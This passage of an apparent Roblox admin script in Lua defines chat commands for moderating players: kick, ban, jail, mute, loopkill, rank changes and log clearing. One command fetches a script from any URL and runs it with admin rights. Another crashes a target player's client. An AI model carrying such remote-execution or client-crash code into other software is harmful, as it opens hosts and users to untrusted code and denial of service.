5689 AddMessage:Invoke(UserName, Message, Error)
5690 end)
5691 SendPressed.Event:connect(function(Text)
5692 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5693 IRC:AddChat(Player.Name, Text)
5694 end)
5695 end
5696 end};
5697
5698 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5699 local Players = STRING:Scan(Arguments[1], Speaker)
5700 for _,Player in pairs(Players) do
5701 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5702 if Type == "Leave" then
5703 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5704 elseif Type == "Join" then
5705 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5706 end
5707 end)
5708 PriChat.Chatted.Event:connect(function(UserName, Message)
5709 AddMessage:Invoke(UserName, Message)
5710 end)
5711 SendPressed.Event:connect(function(Text)
5712 PriChat.Chatted:Fire(Player.Name, Text)
5713 table.insert(PriChat.Chats, {Player.Name, Text})
5714 end)
5715 end
5716 end};
5717
5718 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5719 ExecuteSafe(Arguments[1], Speaker)
5720 end};
5721
5722 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5723 local Script = REMOTE:GetURL(Arguments[1], Player)
5724 if Script then
5725 ExecuteSafe(Script, Speaker)
5726 end
5727 end, Http = true};
5728
5729 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5730 local Time = tick()
5731 local Res = REMOTE:GetURL(Arguments[1], Player)
5732 if Res then
5733 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5734 end
5735 end, Http = true};
5736
5737 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5738 CORE:RemoveAdmin(Speaker)
5739 end};
5740
5741 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5742 for _,Player in pairs(Server.Players:GetPlayers()) do
5743 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5744 end
5745 end};
5746
5747 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5748 local Players = STRING:Scan(Arguments[1], Speaker)
5749 local Debt = nil
5750 for _,Player in pairs(Players) do
5751 if not Debt then
5752 Debt = GUI:ShowDebtStats(Player)
5753 else
5754 GUI:ShowDebtStats(Player, Debt)
5755 end
5756 end
5757 end, Http = true};
5758
5759 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5760 local Players = STRING:Scan(Arguments[1], Speaker)
5761 for _,Player in pairs(Players) do
5762 GUI:CreateHUD(Player)
5763 end
5764 end};
5765
5766 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5767 local Players = STRING:Scan(Arguments[1], Speaker)
5768 for _,Player in pairs(Players) do
5769 if Player:FindFirstChild("PlayerGui") then
5770 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5771 if HUD then HUD:Destroy() end
5772 end
5773 end
5774 end};
5775
5776 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5777 local Players = STRING:Scan(Arguments[1], Speaker)
5778 GUI:Vote(Speaker, Players, Arguments[2], 30)
5779 end};
5780
5781 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5782 local Players = STRING:Scan(Arguments[1], Speaker)
5783 for _,Player in pairs(Players) do
5784 CORE:ExecuteResource("Bomb", Player.Character)
5785 end
5786 end};
5787
5788 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5789 local Players = STRING:Scan(Arguments[1], Speaker)
5790 for _,Player in pairs(Players) do
5791 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5792 CORE:RestoreCamera(Player)
5793 end
5794 end};
5795
5796 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5797 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5798 CORE:RestoreCamera(Speaker)
5799 end};
5800
5801 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5802 local Players1 = STRING:Scan(Arguments[1], Speaker)
5803 local Players2 = STRING:Scan(Arguments[2], Speaker)
5804 for _,Player1 in pairs(Players1) do
5805 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5806 for _,Player2 in pairs(Players2) do
5807 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5808 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5809 end
5810 end
5811 end
5812 end
5813 end};
5814
5815 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5816 local Players = STRING:Scan(Arguments[1], Speaker)
5817 for _,Player in pairs(Players) do
5818 Player:LoadCharacter()
5819 end
5820 end};
5821
5822 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5823 local Players = STRING:Scan(Arguments[1], Speaker)
5824 for _,Player in pairs(Players) do
5825 CORE:RestoreCamera(Player)
5826 end
5827 end};
5828
5829 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5830 local Players = STRING:Scan(Arguments[1], Speaker)
5831 for _,Player in pairs(Players) do
5832 CORE:Jail(Player)
5833 end
5834 end};
5835
5836 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5837 local Players = STRING:Scan(Arguments[1], Speaker)
5838 for _,Player in pairs(Players) do
5839 CORE:UnJail(Player)
5840 end
5841 end};
5842
5843 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5844 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5845 end};
5846
5847 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5848 SOUND:StopSpeaking()
5849 end};
5850
5851 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5852 local Players = STRING:Scan(Arguments[1], Speaker)
5853 local Compile = {}
5854 for Num,Player in pairs(Players) do
5855 local PlayerRank = RANK:GetRank(Player)
5856 local PlayerInfo = ClientInfo[Player.Name]
5857 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5858 table.insert(Compile, "User ID: "..Player.UserId)
5859 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5860 table.insert(Compile, "Rank: "..PlayerRank)
5861
5862 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5863 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5864 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5865 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5866 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5867 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5868 if PlayerInfo.Benchmark then
5869 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5870 end
5871 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5872 end
5873 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5874 end};
5875
5876 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5877 if tonumber(Arguments[2]) then
5878 local Players = STRING:Scan(Arguments[1], Speaker)
5879 for _,Player in pairs(Players) do
5880 coroutine.wrap(function()
5881 if Player.Character then
5882 table.insert(LoopKills, Player.Name)
5883 local Loop = nil
5884 local PrevChar = nil
5885
5886 for i = 1,tonumber(Arguments[2]) do
5887 local Char = Player.Character
5888 if PrevChar and PrevChar ~= Char then
5889 PrevChar:Destroy()
5890 end
5891 PrevChar = Char
5892 local CanDie = true
5893 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5894 if CanDie == false then
5895 break
5896 end
5897 ypcall(function() Char.Parent = Server.Lighting end)
5898 wait(0.1)
5899 ypcall(function() Char.Parent = Server.Workspace end)
5900 wait(0.1)
5901 end
5902 end
5903 end)()
5904 end
5905 else
5906 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5907 end
5908 end};
5909
5910 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5911 local Players = STRING:Scan(Arguments[1], Speaker)
5912 for _,Player in pairs(Players) do
5913 for Num,Name in pairs(LoopKills) do
5914 if Player.Name == Name then
5915 table.remove(LoopKills, Num)
5916 end
5917 end
5918 end
5919 end};
5920
5921 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5922 SOUND:PlayGlobalSound(Arguments[1])
5923 end};
5924
5925 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5926 SOUND:StopGlobalSound()
5927 SOUND:ClearInfo()
5928 end};
5929
5930 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5931 local Pitch = tonumber(Arguments[1])
5932 if not Pitch then Pitch = 1 end
5933 if Sound then
5934 Sound.Pitch = Pitch
5935 end
5936 end};
5937
5938 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5939 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5940 local Items = MARKET:SearchItem(9, Arguments[1])
5941 if Items then
5942 if #Items ~= 0 then
5943 local List,Correlate = {},{}
5944 for Num,Info in pairs(Items) do
5945 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5946 table.insert(List, Display)
5947 Correlate[Display] = Info.AssetId
5948 end
5949 CloseGui:Invoke()
5950
5951 local CanClick = true
5952 if Rank == "Member" then CanClick = false end
5953 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5954 Clicked.Event:connect(function(ClickName)
5955 local OldSoundId = nil
5956 SOUND:StopGlobalSound()
5957 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5958 SOUND:PlayGlobalSound(Correlate[ClickName])
5959 end
5960 end)
5961 else
5962 CloseGui:Invoke()
5963 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
5964 end
5965 else
5966 CloseGui:Invoke()
5967 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
5968 end
5969 end, Http = true};
5970
5971 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
5972 local Players = STRING:Scan(Arguments[1], Speaker)
5973 for _,Player in pairs(Players) do
5974 if Player.Character then
5975 CORE:ExecuteResource("Gun", Player.Character)
5976 end
5977 end
5978 end};
5979
5980 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
5981 local Players = STRING:Scan(Arguments[1], Speaker)
5982 for _,Player in pairs(Players) do
5983 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
5984 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
5985 Player.Character.Humanoid.WalkSpeed = 0
5986 Player.Character.Torso.Anchored = true
5987 coroutine.wrap(function()
5988 local OldCFrame = Player.Character.Torso.CFrame
5989 for i = 0,8,0.1 do
5990 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
5991 wait()
5992 end
5993 Player.Character.Torso.Anchored = false
5994 Player.Character:BreakJoints()
5995 CORE:InvisiblePlayer(Player)
5996 end)()
5997 end
5998 end
5999 end};
6000
6001 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6002 local Players = STRING:Scan(Arguments[1], Speaker)
6003 for _,Player in pairs(Players) do
6004 CORE:AnchorPlayer(Player)
6005 end
6006 end};
6007
6008 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6009 local Players = STRING:Scan(Arguments[1], Speaker)
6010 for _,Player in pairs(Players) do
6011 CORE:UnanchorPlayer(Player)
6012 end
6013 end};
6014
6015 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6016 local Players = STRING:Scan(Arguments[1], Speaker)
6017 for _,Player in pairs(Players) do
6018 CORE:InvisiblePlayer(Player)
6019 end
6020 end};
6021
6022 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6023 local Players = STRING:Scan(Arguments[1], Speaker)
6024 for _,Player in pairs(Players) do
6025 CORE:VisiblePlayer(Player)
6026 end
6027 end};
6028
6029 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6030 local Players = STRING:Scan(Arguments[1], Speaker)
6031 for _,Player in pairs(Players) do
6032 if Player.Character and Player.Character:FindFirstChild("Torso") then
6033 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6034 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6035 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6036 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6037 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6038 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6039 Fly:Play()
6040 local Touched = false
6041 coroutine.wrap(function()
6042 repeat wait(0.1)
6043 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6044 until not Ast or Ast.Parent == nil or Touched == true
6045 end)()
6046 Ast.Touched:connect(function(Part)
6047 if Touched == false then
6048 Touched = true
6049 Part:BreakJoints()
6050 local Boom = Instance.new("Explosion", Workspace)
6051 Boom.Position = Ast.Position
6052 Boom.BlastPressure = 1000000
6053 Boom.BlastRadius = 30
6054 Fire.Heat = 0
6055 Smoke.RiseVelocity = 0
6056 Fly:Stop()
6057 BoomSound:Play()
6058 coroutine.wrap(function()
6059 wait(3)
6060 BoomSound:Stop()
6061 if Ast and Ast.Parent ~= nil then
6062 Ast:Destroy()
6063 end
6064 end)()
6065 end
6066 end)
6067 end
6068 end
6069 end};
6070
6071 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6072 local Success = {}
6073 local Players = STRING:Scan(Arguments[1], Speaker)
6074 for _,Player in pairs(Players) do
6075 local PlayerRank = RANK:GetRank(Player)
6076 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6077 CORE:Kick(Player)
6078 table.insert(Success, Player)
6079 end
6080 end
6081 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6082 end};
6083
6084 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6085 local Success = {}
6086 local Players = STRING:Scan(Arguments[1], Speaker)
6087 for _,Player in pairs(Players) do
6088 local PlayerRank = RANK:GetRank(Player)
6089 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6090 RANK:RemoveRank(Player)
6091 table.insert(Settings.Ranks.Banned, Player.Name)
6092 CORE:Kick(Player)
6093 table.insert(Success, Player)
6094 end
6095 end
6096 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6097 end};
6098
6099 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6100 local Success = {}
6101 local Players = STRING:Scan(Arguments[1], Speaker)
6102 for _,Player in pairs(Players) do
6103 local PlayerRank = RANK:GetRank(Player)
6104 if PlayerRank ~= "Owner" then
6105 RANK:RemoveRank(Player)
6106 table.insert(Settings.Ranks.Crashed, Player.Name)
6107 CORE:Crash(Player)
6108 table.insert(Success, Player)
6109 end
6110 end
6111 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6112 end};
6113
6114 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6115 local Success = {}
6116 local Players = STRING:Scan(Arguments[1], Speaker)
6117 for _,Player in pairs(Players) do
6118 local PlayerRank = RANK:GetRank(Player)
6119 if PlayerRank ~= "Owner" then
6120 RANK:RemoveRank(Player)
6121 table.insert(Settings.Ranks.Muted, Player.Name)
6122 GUI:CoreGui(Player, "Chat", false)
6123 table.insert(Success, Player)
6124 end
6125 end
6126 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6127 end};
6128
6129 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6130 local Players = STRING:Scan(Arguments[1], Speaker)
6131 if #Players > 0 then
6132 local Success = {}
6133 for _,Player in pairs(Players) do
6134 local RankName,RankNum = RANK:GetRank(Player)
6135 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6136 if not RANK:IsSupremeOwner(Player) then
6137 if RankName == "Muted" then
6138 GUI:CoreGui(Player, "Chat", true)
6139 end
6140 if RankNum > 0 then
6141 GUI:TellNotAdmin(Player)
6142 end
6143 RANK:RemoveRank(Player)
6144 table.insert(Success, Player)
6145 end
6146 end
6147 end
6148 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6149 else
6150 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6151 if Player then
6152 local RankNum = RANK:ConvertRank(PlayerRank)
6153 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6154 if not RANK:IsSupremeOwner(Player) then
6155 RANK:RemoveRank(Player)
6156 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6157 end
6158 end
6159 end
6160 end
6161 end};
6162
6163 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6164 local Players = STRING:Scan(Arguments[1], Speaker)
6165 if #Players > 0 then
6166 local Success = {}
6167 for _,Player in pairs(Players) do
6168 local PlayerRank,RankNum = RANK:GetRank(Player)
6169 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6170 RANK:RemoveRank(Player)
6171 table.insert(Settings.Ranks.Member, Player.Name)
6172 GUI:TellAdmin(Player)
6173 table.insert(Success, Player)
6174 end
6175 end
6176 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6177 else
6178 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6179 if Player then
6180 local RankNum = RANK:ConvertRank(PlayerRank)
6181 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6182 if not RANK:IsSupremeOwner(Player) then
6183 RANK:RemoveRank(Player)
6184 table.insert(Settings.Ranks.Member, Player)
6185 end
6186 end
6187 else
6188 RANK:RemoveRank(Arguments[1])
6189 table.insert(Settings.Ranks.Member, Arguments[1])
6190 end
6191 end
6192 end};
6193
6194 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6195 local Players = STRING:Scan(Arguments[1], Speaker)
6196 if #Players > 0 then
6197 local Success = {}
6198 for _,Player in pairs(Players) do
6199 local PlayerRank,RankNum = RANK:GetRank(Player)
6200 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6201 RANK:RemoveRank(Player)
6202 table.insert(Settings.Ranks.Admin, Player.Name)
6203 GUI:TellAdmin(Player)
6204 table.insert(Success, Player)
6205 end
6206 end
6207 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6208 else
6209 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6210 if Player then
6211 local RankNum = RANK:ConvertRank(PlayerRank)
6212 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6213 if not RANK:IsSupremeOwner(Player) then
6214 RANK:RemoveRank(Player)
6215 table.insert(Settings.Ranks.Admin, Player)
6216 end
6217 end
6218 else
6219 RANK:RemoveRank(Arguments[1])
6220 table.insert(Settings.Ranks.Admin, Arguments[1])
6221 end
6222 end
6223 end};
6224
6225 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6226 local Players = STRING:Scan(Arguments[1], Speaker)
6227 if RANK:IsSupremeOwner(Speaker) then
6228 if #Players > 0 then
6229 local Success = {}
6230 for _,Player in pairs(Players) do
6231 if not RANK:IsSupremeOwner(Player) then
6232 RANK:RemoveRank(Player)
6233 table.insert(Settings.Ranks.Owner, Player.Name)
6234 GUI:TellAdmin(Player)
6235 table.insert(Success, Player)
6236 end
6237 end
6238 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6239 else
6240 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6241 if Player then
6242 local RankNum = RANK:ConvertRank(PlayerRank)
6243 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6244 if not RANK:IsSupremeOwner(Player) then
6245 RANK:RemoveRank(Player)
6246 table.insert(Settings.Ranks.Owner, Player)
6247 end
6248 end
6249 else
6250 RANK:RemoveRank(Arguments[1])
6251 table.insert(Settings.Ranks.Owner, Arguments[1])
6252 end
6253 end
6254 end
6255 end};
6256
6257 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6258 local TableStorage = {}
6259 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6260 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6261 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6262 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6263 end};
6264
6265 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6266 local TableStorage = {}
6267 for _,Player in pairs(Server.Players:GetChildren()) do
6268 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6269 if ValidAdmin then
6270 if PlayerRank == "Owner" then
6271 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6272 else
6273 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6274 end
6275 end
6276 end
6277 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6278 end};
6279
6280 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6281 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6282 end};
6283
6284 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6285 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6286 end};
6287
6288 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6289 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6290 end};
6291
6292 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6293 local TableStorage = {}
6294 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6295 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6296 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6297 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6298 end};
6299
6300 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6301 local TableStorage = {}
6302 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6303 for Num,PlayerName in pairs(PlayerNames) do
6304 if PlayerRank == "Owner" then
6305 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6306 else
6307 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6308 end
6309 end
6310 end
6311 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6312 end};
6313
6314 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6315 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6316 end};
6317
6318 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6319 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6320 end};
6321
6322 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6323 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6324 end};
6325
6326 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6327 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6328 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6329 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6330 end};
6331
6332 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6333 CommandLogs = {}
6334 end};
6335
6336 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6337 ChatLogs = {}
6338 end};
6339
6340 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6341 IRC.Logs = {}
6342 end};
6343
6344 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6345 CommandLogs = {}
6346 ChatLogs = {}
6347 IRC.Logs = {}
6348 end};
6349
6350 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6351 Server.GDS:SetAsync("ExploitLog", {})
6352 end};
6353
